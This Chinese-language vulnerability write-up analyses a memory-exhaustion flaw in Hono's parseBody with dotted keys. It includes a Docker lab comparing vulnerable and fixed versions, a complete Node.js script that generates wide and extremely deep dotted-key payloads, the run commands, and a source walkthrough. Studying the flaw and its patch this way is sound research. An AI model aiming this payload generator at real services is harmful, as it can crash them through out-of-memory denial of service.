分析 Hono parseBody({ dot: true }) 内存耗尽漏洞
这类漏洞的攻击价值不在代码执行,而在于用一个看起来并不大的 form 请求,把目标服务拖进高内存占用、长时间 GC,甚至直接 OOM 退出的状态。
一、先说结论
这类漏洞的攻击价值不在代码执行,而在于用一个看起来并不大的 form 请求,把目标服务拖进高内存占用、长时间 GC,甚至直接 OOM 退出的状态。
本次分析围绕 GHSA-g6gw-c38x-mqfc 展开,目标是回答四个问题:
- 攻击者如何快速搭好一个稳定的实验环境。
- 攻击者如何用最小成本复现并验证漏洞。
- 恶意 dotted key 为什么会在 Hono 内部造成对象图膨胀。
- 这种漏洞在真实攻击里到底有什么利用价值。
先限定范围:这个问题只影响显式启用了 parseBody({ dot: true }) 的应用,默认配置并不会直接中招。
先把公告信息列清楚,后面讨论攻击面时不容易跑偏:
- 公告编号是
GHSA-g6gw-c38x-mqfc - 公布日期是
2026-08-26 - 截至
2026-08-30,该公告没有分配 CVE - 影响范围是
hono < 4.13.5 - 修复版本是
4.13.5 - CVSS
3.1基础分是5.3 - 向量是
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L - 分类是
CWE-400: Uncontrolled Resource Consumption
根因可以先概括成三点:
- 点号字段名会被解释成嵌套路径,而不是普通字符串键。
- 修复前既没有深度上限,也没有跨字段的嵌套对象总量上限。
- 因此攻击者可以用极深 key 或大量浅层 key 把资源成本从请求体大小转移到服务端对象分配和 GC 上。
下文会依次给出复现配置、攻击脚本、关键路由、补丁片段和 CodeQL 查询。
二、攻击者会先看什么
从攻击者视角看,一个目标值不值得打,不取决于“Hono 有没有洞”这个抽象结论,而取决于“业务代码是否把不可信输入送进了 parseBody({ dot: true })”。
本地复现工程里,两个目标服务都把入口暴露得很清楚:
- 一组服务固定依赖
hono@4.13.4,作为脆弱对照 - 另一组服务固定依赖
hono@4.13.5,作为修复对照 - 两者都在
POST /submit中执行await c.req.parseBody({ dot: true })
攻击者真正盯住的不是版本号本身,而是下面这种代码模式:
app.post('/submit', async (c) => {
const body = await c.req.parseBody({ dot: true })
return c.json(body)
})一旦这个入口存在,攻击者就会马上想到两种 payload:
- 用一个超深 dotted key 制造超长对象链
- 用海量浅层 dotted key 制造超多对象节点
前者吃“深度”,后者吃“总量”,两种都能把解析阶段的内存成本抬起来。
三、实验环境怎么搭,为什么要这么搭
漏洞复现最怕环境不稳定,所以这里用了一个方便重复验证的 Docker 化环境。
整套实验的核心只有四件事:
- 同时保留脆弱版和修复版服务,保证补丁对照成立。
- 把 Node old-space 压到
64 MiB,让高 GC 和 OOM 更容易稳定复现。 - 用
wide-limit验证对象总量限制,用deep-limit验证深度限制。 - 用
deep-crash验证脆弱版会因超深 dotted key 失稳,而修复版会快速失败。
1. 关键文件直接内嵌
复现实验依赖的关键材料直接展开如下,便于对照环境结构和行为差异。
这个布局把三件事拆开了:
- 脆弱服务负责稳定承载
hono@4.13.4 - 修复服务负责提供补丁对照
- 攻击容器负责稳定生成攻击流量
先看编排文件本体:
services:
vuln:
build:
context: ./targets/vuln
container_name: hono-parsebody-vuln
environment:
APP_MODE: vulnerable
PORT: "3000"
ports:
- "3001:3000"
healthcheck:
test: ["CMD", "wget", "-qO-", "http://127.0.0.1:3000/healthz"]
interval: 2s
timeout: 1s
retries: 30
start_period: 2s
fixed:
build:
context: ./targets/fixed
container_name: hono-parsebody-fixed
environment:
APP_MODE: fixed
PORT: "3000"
ports:
- "3002:3000"
healthcheck:
test: ["CMD", "wget", "-qO-", "http://127.0.0.1:3000/healthz"]
interval: 2s
timeout: 1s
retries: 30
start_period: 2s
attacker:
build:
context: .
dockerfile: ./attacker/Dockerfile
profiles: ["tools"]攻击容器本身也很薄,除了把脚本拷进去之外没有额外逻辑:
FROM node:22-alpine
WORKDIR /app
COPY attacker/exploit.js /app/exploit.js
ENTRYPOINT ["node", "/app/exploit.js"]目标服务镜像同样刻意压得很薄,脆弱版和修复版在容器层完全一致:
FROM node:22-alpine
WORKDIR /app
COPY package.json package-lock.json ./
RUN npm ci --omit=dev
COPY server.js /app/server.js
ENV NODE_ENV=production
ENV PORT=3000
EXPOSE 3000
CMD ["node", "--max-old-space-size=64", "server.js"]两组目标服务的依赖清单也可以直接内嵌出来。真正影响漏洞语义的只有 hono 版本,其余依赖保持不变。
脆弱版:
{
"name": "hono-parsebody-vuln",
"version": "1.0.0",
"private": true,
"type": "module",
"scripts": {
"start": "node server.js",
"start:lowmem": "node --max-old-space-size=64 server.js"
},
"dependencies": {
"@hono/node-server": "2.1.1",
"hono": "4.13.4"
}
}修复版:
{
"name": "hono-parsebody-fixed",
"version": "1.0.0",
"private": true,
"type": "module",
"scripts": {
"start": "node server.js",
"start:lowmem": "node --max-old-space-size=64 server.js"
},
"dependencies": {
"@hono/node-server": "2.1.1",
"hono": "4.13.5"
}
}2. 为什么必须保留两个版本
只搭脆弱版当然也能打出 OOM,但保留修复版对照,才能把补丁效果和攻击边界看得更清楚。
修复版必须保留,原因很实际:
- 能证明不是自己环境有问题,而是补丁确实改变了行为
- 能验证真正被拦截的是哪类输入
- 能反推出补丁作者最担心的攻击路径是什么
3. 为什么要限制 Node 堆大小
本工程里目标服务通过 Docker 启动,并把 Node old-space 压到 64 MiB。这不是漏洞成因的一部分,但它能显著提高复现稳定性。
原因很简单:如果宿主机内存充足,很多 DoS 只会表现为“内存涨得很明显”,却未必马上崩。把堆压小之后,相关现象会更稳定,也更容易观察和对照:
- 响应超时
- 连接中断
- 5xx
- 容器退出
JavaScript heap out of memory
4. 启动方式
在项目根目录执行:
docker compose up --build -d vuln fixed
docker compose ps
验证健康状态:
curl -s http://127.0.0.1:3001/healthz
curl -s http://127.0.0.1:3002/healthz两个服务都正常时,就得到了一个清晰的“脆弱版 / 修复版”对照环境。
四、漏洞复现:攻击者会如何一步步试探
真实攻击通常不会一上来就塞最大 payload,更常见的顺序是先探,再压,再打崩。
1. 第一步:先做低成本连通性探测
攻击侧脚本里已经内置了四组 profile:
safewide-limitdeep-limitdeep-crash
先用最温和的 profile 验证目标路由是否真的会进入 parseBody({ dot: true }),这是很典型的攻击前侦察动作。
它的最小化核心逻辑如下:
const profiles = {
safe: { kind: 'wide', count: 4 },
'wide-limit': { kind: 'wide', count: 10001 },
'deep-limit': { kind: 'deep', depth: 34 },
'deep-crash': { kind: 'deep', depth: 400000 },
}
const buildWidePayload = (count) => {
const parts = []
for (let i = 0; i < count; i += 1) {
parts.push(`field${i}.value=x`)
}
return parts.join('&')
}
const buildDeepPayload = (depth) => `${new Array(depth).fill('a').join('.')}=x`这段脚本有两个特点:profile 名字直接对应“安全探测 / 宽度打点 / 深度打点 / 崩溃复现”四个阶段;payload 的危险性几乎全部集中在字段名结构,而不是值本身。
如果直接把攻击脚本完整展开,它实际就是下面这样:
const targets = {
vuln: 'http://vuln:3000/submit',
fixed: 'http://fixed:3000/submit',
}
const profiles = {
safe: { kind: 'wide', count: 4 },
'wide-limit': { kind: 'wide', count: 10001 },
'deep-limit': { kind: 'deep', depth: 34 },
'deep-crash': { kind: 'deep', depth: 400000 },
}
const [, , action = 'probe', targetName = 'vuln', profileName = 'safe'] = process.argv
const targetUrl = targets[targetName] ?? targetName
const profile = profiles[profileName]
if (!profile) {
console.error(`Unknown profile: ${profileName}`)
console.error(`Available profiles: ${Object.keys(profiles).join(', ')}`)
process.exit(1)
}
const buildWidePayload = (count) => {
const parts = []
for (let i = 0; i < count; i += 1) {
parts.push(`field${i}.value=x`)
}
return parts.join('&')
}
const buildDeepPayload = (depth) => `${new Array(depth).fill('a').join('.')}=x`
const buildPayload = ({ kind, count, depth }) => {
if (kind === 'wide') {
return buildWidePayload(count)
}
if (kind === 'deep') {
return buildDeepPayload(depth)
}
throw new Error(`Unsupported payload kind: ${kind}`)
}
const payload = buildPayload(profile)
const payloadBytes = Buffer.byteLength(payload)
const summarize = (text) => {
if (text.length <= 240) {
return text
}
return `${text.slice(0, 240)}...`
}
const run = async () => {
console.log(
JSON.stringify(
{
action,
target: targetUrl,
profile: profileName,
payloadBytes,
},
null,
2
)
)
const startedAt = Date.now()
try {
const response = await fetch(targetUrl, {
method: 'POST',
headers: {
'content-type': 'application/x-www-form-urlencoded',
},
body: payload,
signal: AbortSignal.timeout(action === 'crash' ? 30000 : 15000),
})
const text = await response.text()
console.log(
JSON.stringify(
{
ok: response.ok,
status: response.status,
durationMs: Date.now() - startedAt,
body: summarize(text),
},
null,
2
)
)
if (action === 'crash' && response.ok) {
console.error('Expected the crash profile to destabilize the vulnerable service, but it still returned success.')
process.exit(3)
}
} catch (error) {
console.log(
JSON.stringify(
{
ok: false,
durationMs: Date.now() - startedAt,
error: error instanceof Error ? error.message : String(error),
},
null,
2
)
)
}
}
run().catch((error) => {
console.error(error)
process.exit(5)
})2. 第二步:用补丁边界反推利用条件
先验证“对象总量限制”:
docker compose run --rm attacker probe fixed wide-limit
docker compose run --rm attacker probe vuln wide-limit这组 payload 会构造 10001 个浅层 dotted key,大致形式如下:
field0.value=x&field1.value=x&field2.value=x...观察结果:
- 在本文本地复现服务中,修复版返回
500 - 响应体中的错误信息为
Nesting limit exceeded - 脆弱版返回
200
这一步已经能说明:
- 修复版确实在限制“对象总量”
- 脆弱版仍会老老实实为这些 key 展开对象
然后再验证“嵌套深度限制”:
docker compose run --rm attacker probe fixed deep-limit
docker compose run --rm attacker probe vuln deep-limit这里的 deep-limit 会构造 34 个 path segment 的 dotted key。它的意义不是马上打崩,而是确认补丁围绕 MAX_NESTING_DEPTH = 32 设置的拒绝边界在哪里。
3. 第三步:切换到真正的崩溃型 payload
最后使用:
docker compose run --rm attacker crash vuln deep-crashdeep-crash 会生成一个超深 dotted key,本地脚本中深度被设置为 400000。关键在于:攻击者发出的并不是超大文件,也不是复杂二进制包,而只是一个字段名极端异常的 application/x-www-form-urlencoded 请求。
复现结束后可以检查目标状态:
docker compose ps -a vuln
docker compose logs vuln --tail=80预期现象是:
- 攻击请求超时或连接断开
- 脆弱版容器退出
- 日志中出现
JavaScript heap out of memory或等价 OOM 痕迹
4. 为什么这个 PoC 对攻击者足够有吸引力
因为它同时满足了几条很典型的 DoS 条件:
- 远程可达
- 若目标端点可匿名访问,则利用门槛更低
- payload 容易自动化生成
- 请求体表面上并不夸张
- 放大点发生在服务端解析逻辑内部
这类 payload 很容易被包装成一个成本极低的压力放大器。
5. 用本地实测数据看放大效果
为了让这条攻击链不只停留在“理论上会 OOM”,本文对脆弱版和修复版做了一轮本地实测,测试对象包括:
safewide-limitdeep-limitdeep-crash
其中 safe、wide-limit、deep-limit 对脆弱版和修复版都做了对照;deep-crash 额外分别验证了“修复版快速拒绝”和“脆弱版连接被异常关闭并触发 OOM”。
目标 | Profile | Payload 大小 | HTTP 结果 | 耗时 | 关键现象 |
|
|
|
|
|
| 正常解析,得到 |
|
|
|
|
|
| 正常解析,得到 |
|
|
|
|
|
| 成功展开 |
|
|
|
|
|
| 抛出 |
|
|
|
|
|
| 34 段 dotted key 被接受 |
|
|
|
|
|
| 命中深度限制 |
|
|
|
|
|
| 快速拒绝超深 key |
|
|
|
| 连接异常关闭 |
|
| 无法返回响应 |
这里的 heapUsed 变化,指的是复现服务在单次请求前后读取 process.memoryUsage().heapUsed 得到的窗口差值。它适合展示“解析阶段确实出现了明显资源消耗”,但不等同于峰值内存、总分配量或精确的单 key 成本。
这组数据里有四个关键点。
第一,wide-limit 最能说明“解析放大”这件事。请求体只有约 175 KiB,但在这次观测窗口里,脆弱版单次解析前后的 heapUsed 差值达到了约 5.81 MiB。这已经足够说明:攻击者交给服务器的不是一个“超大包”,而是一个会诱导解析阶段持续分配内存的输入。
第二,修复版在 wide-limit 上观测到的 heapUsed 差值也不小,这反而更有参考价值。补丁不是零成本魔法,而是在有限范围内先做解析,再在达到阈值时尽早失败。再补一句,这组差值会受 GC 时机影响,所以更适合解读为“修复版仍然要付出解析成本,但成本已经被压进有上限的窗口”,而不是直接拿来比较哪一边更耗内存。
第三,deep-limit 的对照能看出修复版把失败点前移得很早。只有 69 B 的请求,脆弱版会正常接受;而在本文本地复现服务中,修复版几乎立刻返回携带 Nesting limit exceeded 的 500。这说明新增的深度阈值不是在“对象都快建完了”之后才兜底,而是在更早的分段判断阶段就切断了这条链。
第四,deep-crash 最接近真实攻击效果。修复版面对 800,001 B 的超深 dotted key 时,仍能在 14 ms 内返回错误;而脆弱版在 270 ms 左右就出现“连接被对端关闭”,随后容器退出。这里被利用的不是网络带宽,而是目标服务内部那条无界的 dotted-key 展开路径。
本轮 deep-crash 的窗口日志也能佐证这一点:
[vulnerable] listening on http://127.0.0.1:3000
<--- Last few GCs --->
[1:0xffff82820000] 25509 ms: Mark-Compact 51.7 (83.9) -> 51.7 (85.4) MB ...
[1:0xffff82820000] 25547 ms: Mark-Compact 67.4 (85.4) -> 67.4 (101.2) MB ... allocation failure
<--- JS stacktrace --->
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory这段日志把“对象分配过多”落到了 V8 的具体行为上。进程不是瞬间被打死,而是先进入明显的 Mark-Compact 压力区,说明垃圾回收已经在努力回收对象;直到堆上限仍然守不住时,才最终触发 JavaScript heap out of memory。这正是解析放大类 DoS 的典型运行时轨迹。
从利用角度看,这张表给出的结论很明确:脆弱版既可以被“广度型” dotted key 请求稳定拉高内存,也可以被“深度型” dotted key 请求直接打进 OOM;修复版虽然仍需消耗一定解析成本,但已经把两条攻击路线都压进了可控边界。
五、从源码看攻击链为什么成立
要理解这条攻击链为什么成立,得先看请求进入 Hono 之后到底经历了什么。下面按攻击链顺序拆开。
1. 业务路由把不可信输入送进 parseBody
本地两组目标服务的入口逻辑几乎完全一致,差别只在默认 APP_MODE 和依赖版本。目标服务的最小入口逻辑如下:
import { serve } from '@hono/node-server'
import { Hono } from 'hono'
const app = new Hono()
const port = Number(process.env.PORT || 3000)
const appMode = process.env.APP_MODE || 'vulnerable'
const heapSnapshot = () => {
const usage = process.memoryUsage()
return {
rss: usage.rss,
heapTotal: usage.heapTotal,
heapUsed: usage.heapUsed,
external: usage.external,
}
}
app.get('/healthz', (c) =>
c.json({
ok: true,
mode: appMode,
memory: heapSnapshot(),
})
)
app.post('/submit', async (c) => {
const before = heapSnapshot()
try {
const body = await c.req.parseBody({ dot: true })
const topLevelKeys = Object.keys(body)
const after = heapSnapshot()
return c.json({
ok: true,
topLevelKeyCount: topLevelKeys.length,
topLevelKeys: topLevelKeys.slice(0, 5),
before,
after,
})
} catch (error) {
const after = heapSnapshot()
return c.json(
{
ok: false,
error: error instanceof Error ? error.message : String(error),
before,
after,
},
500
)
}
})
serve(
{
fetch: app.fetch,
port,
},
(info) => {
console.log(`[${appMode}] listening on http://127.0.0.1:${info.port}`)
}
)只要业务代码显式打开 dot: true,攻击者提交的 dotted key 就不再是普通字符串,而会被框架当成“路径语义”处理。
2. HonoRequest.parseBody() 只是一个入口转发器
在本地源码里,HonoRequest.parseBody() 基本就是一个薄转发层;为了让读者能把文章里的“入口很短”直接对应到真实实现,下面保留它在 src/request.ts 里的类型签名和实际函数体:
async parseBody<Options extends Partial<ParseBodyOptions>, T extends BodyData<Options>>(
options?: Options
): Promise<T>
async parseBody<T extends BodyData>(options?: Partial<ParseBodyOptions>): Promise<T>
async parseBody(options?: Partial<ParseBodyOptions>) {
return parseBody(this, options)
}也就是说,这一层几乎不做额外判断;一旦业务代码调用了 c.req.parseBody({ dot: true }),控制权就会直接进入后面的请求体解析逻辑。
3. parseFormData() 把原始请求转成可枚举的表单键值
接下来进入 Hono 的表单解析实现,也就是 parseFormData() 与 convertFormDataToBodyData() 这条链。
这个阶段发生了两件事:
- 原始请求体被解析成
FormData FormData中的每个(value, key)被枚举并转成普通对象属性
对攻击者来说,这一步的意义在于:字段名 key 仍然可控,而且后面还会继续沿着内部数据结构传播。
为了先把读者注意力集中在这条漏洞链本身,下面先给出一个聚焦 dot 路径的主干摘录;更完整的 convertFormDataToBodyData() 控制流会在后面的第 5 小节再补齐:
async function parseFormData(request, options) {
const headers = isRawRequest(request) ? request.headers : request.raw.headers
const arrayBuffer = await request.arrayBuffer()
const formDataPromise = bufferToFormData(
arrayBuffer,
headers.get("Content-Type") || ""
)
const formData = await formDataPromise
if (formData) {
return convertFormDataToBodyData(formData, options)
}
return {}
}
function convertFormDataToBodyData(formData, options) {
const form = Object.create(null)
formData.forEach((value, key) => {
form[key] = value
})
if (options.dot) {
Object.entries(form).forEach(([key, value]) => {
if (key.includes(".")) {
handleParsingNestedValues(form, key, value)
delete form[key]
}
})
}
return form
}还有一个容易被忽略的点:multipart/form-data 和 application/x-www-form-urlencoded 虽然传输形态不同,但在 Hono 内部都会收敛到同一条处理路径。攻击者在外层可以根据业务场景选择更自然的请求外观,但一旦通过 parseFormData(),后续都会进入同样的 FormData -> BodyData -> dotted-key expansion 逻辑。
这对攻击者意味着两个现实价值:
- 可以优先选更像正常业务流量的内容类型,而不必拘泥于某一种编码方式
- 即使业务层只对某一类表单做了较弱校验,只要最终进入这条解析链,攻击面本质上仍然存在
这里最该点明的是,攻击者真正控制的高价值变量不是 value,而是 key。value 往往只是一个很小的占位字符串,例如 x;真正触发资源放大的,是字段名里那串被框架解释为路径语义的点号分段。这个漏洞的“弹药”主要装在参数名上,而不是参数值上。
把这一层数据形态展开后,链路其实很清楚:
- 原始 HTTP body 先被解析成
FormData FormData中攻击者控制的key被写入form[key]- 后续
Object.entries(form)又把这个动态属性名重新枚举出来 - 命中
key.includes('.')后进入handleParsingNestedValues() - 最终在
key.split('.')这里被解释成多层路径
这也是这个问题适合和 CodeQL 结合分析的原因:单看入口,它像一次普通的 body 解析;真正危险的是 key 会在多个中间数据结构之间被保留下来,并最终触发对象展开。
3.1 用一个具体字段名把这条链走一遍
如果只盯着函数名,读者很容易知道“代码会走到这里”,但不容易真正感受到“攻击者控制的 key 在每一层到底变成了什么”。把一个具体样本拆开会更直观。
先用一个最普通、也最像真实业务字段的输入:
user.profile.name=x它在 Hono 内部至少会先后经过下面几种形态:
原始 body
"user.profile.name=x"
FormData
[("user.profile.name", "x")]
平面 form 对象
{
"user.profile.name": "x"
}
Object.entries(form)
[
["user.profile.name", "x"]
]
split 结果
["user", "profile", "name"]如果想把它看成一条更连续的执行时序,也可以压缩成下面这条链:
真正值得强调的是,攻击者控制的字段名并不会在中途“失真”。它不是从 FormData 到普通对象时被规范化成安全结构,而是几乎原样穿过多个中间层,直到最后才在 split('.') 这一刻被解释成路径语义。
把 handleParsingNestedValues() 的循环按这组输入手工展开,整个物化过程大概是这样:
let nestedForm = form
const keys = ['user', 'profile', 'name']
// index = 0
// 当前 form 里还没有 form.user,于是创建第一层对象
nestedForm['user'] = Object.create(null)
nestedForm = nestedForm['user']
// index = 1
// 当前 nestedForm 里还没有 profile,于是创建第二层对象
nestedForm['profile'] = Object.create(null)
nestedForm = nestedForm['profile']
// index = 2
// 最后一个 segment 才真正写入值
nestedForm['name'] = 'x'最后再执行:
delete form['user.profile.name']于是函数返回前,根对象大致会从:
{
'user.profile.name': 'x'
}变成:
{
user: {
profile: {
name: 'x'
}
}
}如果把这个过程抽象成一句话,那就是:dot: true 不是在“读取一个表单字段”,而是在“把字段名当作一份小型路径脚本来执行”。攻击者真正操纵的不是 value 大小,而是解释器会为这份“路径脚本”做多少次分段、判断和对象创建。
3.2 为什么字段名比字段值更危险
很多读者第一次看这类漏洞时,会本能地把注意力放在 value 上,比如担心是不是 value 特别大、是不是 multipart 里塞了大文件。但这条链的高危变量其实是 key,而不是 value。
原因在于:
value即使只是一个单字符x,也不影响攻击者用 key 驱动深层对象展开。key同时决定了split('.')会拆出多少段,以及循环里会创建多少个中间对象。key还会影响Object.entries(form)前后的中间结构大小,因为平面对象属性名、entries 元组和 split 结果里都会再次保存这串字符串或其派生片段。
所以这个漏洞的成本模型更接近“字段名驱动的解释器膨胀”,而不是“字段值驱动的大包上传”。从攻击研究角度看,这一点很重要,因为它决定了很多传统以 value 大小为中心的防护思路,并不能直接覆盖这里的放大链。
4. 从请求字节到 FormData,中间已经付了一次成本
从源码层继续往下看,一个关键观察是:Hono 在进入 dotted-key 展开之前,并不是直接对流式字节一边读一边建对象,而是先把整份请求体完整取成内存里的 ArrayBuffer。
脆弱版和修复版这一段都一样:
const arrayBuffer = await request.arrayBuffer();
const formDataPromise = bufferToFormData(
arrayBuffer,
headers.get("Content-Type") || ""
);而 bufferToFormData() 的实现也很短:
var bufferToFormData = (arrayBuffer, contentType) => {
const response = new Response(arrayBuffer, {
headers: {
"Content-Type": contentType.replace(/^[^;]+/, (mediaType) => mediaType.toLowerCase())
}
});
return response.formData();
};这两段代码揭示了几个关键的实现事实。
第一,Hono 在自身这一层明确选择了“先整包落内存,再交给 Response.formData() 解析”的策略。请求体还没进入 dotted-key 语义扩展之前,攻击者输入就已经先以原始字节缓冲区的形式完整存在了一次。
第二,parseBody({ dot: true }) 的资源成本并不只来自 handleParsingNestedValues()。在那之前,框架至少已经做了:
- 从请求流读取完整 body
- 物化出一个
ArrayBuffer - 构造一个临时
Response包装对象 - 调用
response.formData(),把字节重新解释成FormData
第三,问题不在于“这里只多做了一次解析”,而在于“这次解析的产物还会继续被下一阶段再物化一遍”。攻击者发送的输入不是直接进入对象树的最终形态,而是先经历:
从内存驻留时间来看,这条链尤其值得注意。arrayBuffer 在 response.formData() 完成之前不会消失;而 FormData 构建完成后,后面的 convertFormDataToBodyData() 又会继续把同一批字段名和字段值转抄进普通 JS 对象。在一次请求的解析窗口里,原始字节、FormData 项、平面对象、entries 数组和嵌套对象,往往会有一段时间重叠存活,而不是前一种结构刚释放、后一种结构才创建。
从实现角度看,这个漏洞也比“一个循环里不断 Object.create(null)”更重。攻击者利用的,不只是最后那段嵌套对象创建,而是整条“字节表示 -> 表单表示 -> 平面对象表示 -> 嵌套对象表示”的多阶段物化链。
顺着这个视角再看 deep-crash,就更容易理解为什么 800,001 B 的请求不该被简单归类成“800 KB 大包”。真正有破坏力的不是这 800 KB 本身,而是服务端为了理解这 800 KB,先后创建并短时间持有了多少种中间表示。
5. 真正的危险点在 convertFormDataToBodyData()
如果只摘 if (options?.dot && key.includes(".")) 这一小段,读者虽然知道“危险分支在这里”,但不容易看清它和前面的平面落地、以及后面的 delete form[key] 是同一个控制流。把脆弱版 convertFormDataToBodyData() 里和这条链直接相关的部分连起来看,会更完整:
function convertFormDataToBodyData<T extends BodyData = BodyData>(
formData: FormData,
options: ParseBodyOptions
): T {
const form: BodyData = Object.create(null)
formData.forEach((value, key) => {
const shouldParseAllValues = options.all || key.endsWith('[]')
if (!shouldParseAllValues) {
form[key] = value
} else {
handleParsingAllValues(form, key, value)
}
})
if (options.dot) {
Object.entries(form).forEach(([key, value]) => {
const shouldParseDotValues = key.includes('.')
if (shouldParseDotValues) {
handleParsingNestedValues(form, key, value)
delete form[key]
}
})
}
return form as T
}这段分支对攻击者释放出的信号很直接:
- 只有启用了
dot - 且字段名里真的含有
. - 才会进入后续的嵌套展开逻辑
攻击者不是在打整个 parseBody(),而是在专门击中这条“点号语义扩展”路径。
从利用视角看,这个分支还有一个很关键的工程学特征:它先执行 form[key] = value,再在后面的 Object.entries(form) 中二次处理 dotted key,处理完以后再 delete form[key]。这意味着一次请求里,框架会先把攻击者输入以“平面键”的形式落到对象上,再把其中一部分重新解释为“嵌套路径”。这种“两阶段物化”会让部分中间对象活得更久,也更容易把短时间内创建的大量对象推向后续 GC 周期,而不是立刻释放。
对攻击者来说,这种实现方式有两个现实好处:
- 请求到达后,不需要命中复杂业务逻辑,只要进入 body 解析阶段就可能产生代价
- 放大量发生在框架通用代码里,业务方往往不会专门为这一段加细粒度监控
此外,Object.entries(form) 这一句本身也值得单独点出来。它意味着框架会先把当前 form 对象中的全部键值对再物化成一个数组,然后才逐个判断哪些 key 需要进入 nested 解析。对于广度型 payload 来说,这不只是“后面会创建很多对象”,而是“在创建对象之前,先额外申请了一份 entries 数组及其元素结构”。因此一次宽度很大的请求,成本并不只来自 handleParsingNestedValues(),还包括进入该函数之前的中间枚举与临时对象分配。
6. 脆弱版为何会对象膨胀
脆弱版的核心函数是 handleParsingNestedValues()。这里最好不要只看“归纳后的伪代码”,而是直接看接近上游 src/utils/body.ts 的裁剪摘录;这样前面提到的 __proto__ 过滤、无界 split('.')、以及“遇到非对象就重建”的行为都会同时出现在一个片段里:
const handleParsingNestedValues = (
form: BodyData,
key: string,
value: BodyDataValue<Partial<ParseBodyOptions>>
): void => {
if (/(?:^|\.)__proto__\./.test(key)) {
return
}
let nestedForm = form
const keys = key.split('.')
keys.forEach((key, index) => {
if (index === keys.length - 1) {
nestedForm[key] = value
} else {
if (
!nestedForm[key] ||
typeof nestedForm[key] !== 'object' ||
Array.isArray(nestedForm[key]) ||
nestedForm[key] instanceof File
) {
nestedForm[key] = Object.create(null)
}
nestedForm = nestedForm[key] as unknown as BodyData
}
})
}这段逻辑对攻击者意味着三件事。
第一,key.split(".") 没有深度上限。只要字段名够长,就能拆出足够多的段。
第二,中间节点会被逐层补成 Object.create(null)。攻击者并不是只让框架做字符串处理,而是在逼它持续申请新对象。
第三,这个过程发生在服务端解析阶段。网络层看到的是一个普通表单请求,真正的资源放大发生在应用内部。
再细一点看,这个循环还有两个值得单独拎出来的语义特征。
第一,空路径段会被保留下来。key.split('.') 不会自动丢弃空字符串,所以像 a..a..a=x 这样的输入会生成 ["a", "", "a", "", "a"] 之类的片段序列。对攻击者而言,这意味着字段名可以被更激进地压缩成“更高的每字节路径密度”,而不是只有标准的 a.b.c 形式才有效。
第二,中间节点如果不是对象,就会被直接替换成新的 Object.create(null)。这表示当攻击者制造形如“同一前缀既作为叶子值又作为父节点”的冲突结构时,框架不会停下来,而是会把原有标量或数组覆盖掉,再继续向下构造嵌套对象。从利用角度看,这种“语义纠偏式重建”会让解析器在面对冲突 key 序列时继续投入分配成本,而不是提前失败。
再拆开一点看,深度型 payload 和广度型 payload 打的其实不是同一种成本。
- 深度型 payload 例如
a.a.a.a...=x,主要制造一条很长的对象链,特点是单个 key 就能反复触发Object.create(null)。 - 广度型 payload 例如
field0.value=x&field1.value=x...,主要制造大量彼此独立的子节点,特点是单请求里可以快速堆积很多对象。
前者更像“单字段打穿路径深度”,后者更像“多字段堆满对象总量”。从运行时表现上看,深度型更容易把一次解析时间拖长,广度型更容易在并发下把总堆占用迅速抬高。
如果用复杂度思维来理解,这里的关键不是简单说一句“时间复杂度是 O(n)”。真正的问题在于,请求体字节数与服务端对象分配数之间失去了健康的线性对应关系。攻击者发出的只是一个看似普通的表单 body,但服务端在解释 dotted key 时,会产生远超原始字节量的对象图和属性访问操作,这就是典型的解析放大。
可以把这种放大粗略理解为两层成本叠加:
- 先为输入中的每个字段建立平面
form[key] - 再为其中含点号的 key 重新走一遍路径拆分、对象判断、对象创建和旧键删除
dotted key 不是“只被解析一次”,而是先被当作普通键接收,再被当作路径语义二次解释。这个双阶段过程让攻击者能够用同一份输入同时触发“平面存储成本”和“嵌套展开成本”。
这也解释了为什么很多常见防护不够用。client_max_body_size、上传大小限制或反向代理的 body limit,只能约束“收进来多少字节”,却不能约束“应用为了理解这些字节,需要额外创建多少对象”。只要 dotted key 的语义展开还在,无论请求体本身是否巨大,攻击者都可以把成本转移到服务端内存和 GC 上。
还要注意一点:这里虽然存在 __proto__ 相关过滤,但它防的是原型链污染方向,不是当前这条资源耗尽链。维护者已经意识到“路径语义”可能带来对象安全问题,但在 4.13.4 之前,还没有对“路径语义导致的对象膨胀”设置硬上限。
把这一步放到 Node / V8 运行时中看,常见后果可能沿着下面的顺序发生:
- 解析阶段短时间创建大量普通对象
- 部分对象存活时间变长,可能开始向老生代晋升
- GC 频率升高,单次停顿时间和请求尾延迟增加
- 并发请求叠加后,事件循环可能被更多 GC 和对象访问拖慢
- 最终触发
heap out of memory,或者在 OOM 之前先出现明显的超时和 5xx
因此,真实场景里最常见的第一现场往往不是“服务瞬间崩掉”,而是延迟先明显变坏,然后才进入异常退出或重启。
因此,无论是:
a.a.a.a.a...=x
还是:
field0.value=x&field1.value=x&...
本质上都是在诱导 Hono 建一张远大于请求体本身的对象图。
6.1 用前缀冲突看“语义纠偏式重建”
除了单纯的深度和宽度,前缀冲突也很值得单独拿出来讲,因为它能帮助读者理解这段代码为什么不是“遇到怪输入就早停”,而是“尽量把怪输入继续解释下去”。
看一个最小样本:
a=x&a.b=y在 formData.forEach() 结束后,平面对象先是:
{
a: 'x',
'a.b': 'y'
}之后 Object.entries(form) 会把它枚举成:
[
['a', 'x'],
['a.b', 'y']
]前一项 ['a', 'x'] 因为不含点号,不会触发 nested 解析;真正有意思的是处理 ['a.b', 'y'] 时发生的事:
let nestedForm = form
const keys = ['a', 'b']
// index = 0
// nestedForm['a'] 目前是字符串 'x',不是 object
// 所以脆弱版会直接把它覆盖成一个新对象
nestedForm['a'] = Object.create(null)
nestedForm = nestedForm['a']
// index = 1
nestedForm['b'] = 'y'最后再删掉旧平面键:
delete form['a.b']返回结果就会变成:
{
a: {
b: 'y'
}
}原来的标量值 'x' 被静默覆盖掉了。这个语义对漏洞分析很关键,因为它说明 Hono 在这里优先追求“把 dotted path 解释成功”,而不是“保留冲突输入的原始语义”。从资源消耗角度看,这意味着解析器在遇到前缀冲突时不会立刻失败,反而会继续创建对象并推进整条展开链。
6.2 空路径段为什么会提高每字节攻击密度
前面已经提到 split('.') 会保留空段,但这个点很适合再往实现层多压一层。
例如输入:
a..a..a=x在脆弱版里会得到:
['a', '', 'a', '', 'a']这件事的攻击价值不只是“也能被解析”,而是“攻击者不需要为每一层都提供完整的可读字段名”。如果把字段名看成编码路径深度的载体,那么空段的存在会让每个 . 都持续具有结构意义,攻击者可以用更短、更机械的字符串堆出更多层 segment。
